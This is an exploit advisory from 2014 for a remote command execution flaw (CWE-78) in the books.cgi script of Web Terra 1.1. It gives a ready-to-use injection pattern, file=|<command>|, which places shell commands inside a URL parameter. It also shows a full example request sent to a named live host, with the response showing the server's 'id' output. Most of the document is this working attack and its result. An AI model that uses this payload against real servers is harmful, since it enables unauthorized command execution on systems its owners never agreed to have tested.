[+] Remote Comand Execution on books.cgi Web Terra v. 1.1
[+] Date: 21/05/2014
[+] CWE number: CWE-78
[+] Risk: High
[+] Author: Felipe Andrian Peixoto
[+] Contact: felipe_andrian@hotmail.com
[+] Tested on: Windows 7 and Linux
[+] Vendor Homepage: http://www2.inforyoma.or.jp/~terra
[+] Vulnerable File: books.cgi
[+] Version : 1.1
[+] Exploit: http://host/patch/books.cgi?file=|<command>|


[+] Example Request:
GET /webnovel/books.cgi?file=|id| HTTP/1.1
Host: redsuns.x0.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive


HTTP/1.1 200 OK
Date: Wed, 21 May 2014 18:59:05 GMT
Server: Apache/1.3.42 (Unix)
Connection: close
Content-Type: text/html
Content-Length: 498

<!DOCTYPE HTML PUBLIC -//IETF//DTD HTML//EN>
<html><head>
<meta http-equiv=Content-Type content=text/html; charset=x-sjis>
<title></title></head>
<body bgcolor=#637057>
<p align=center><font size=3></font><br>
| <a href=booksregist.cgi?file=|id|&subject=>?·?M?·?é</a>
 || <a href=booksvew.cgi?file=|id|&subject=>???Ò?ê??</a>
 || <a href=booksedit.cgi?file=|id|&subject=>?ÏX?ù³</a>
 || <a href=books.htm>?¶?É?É?ß?é</a>
 |</p><hr>
uid=1085(spider) gid=1000(users) groups=1000(users)
</body></html>

[+] More About : http://cwe.mitre.org/data/definitions/78.html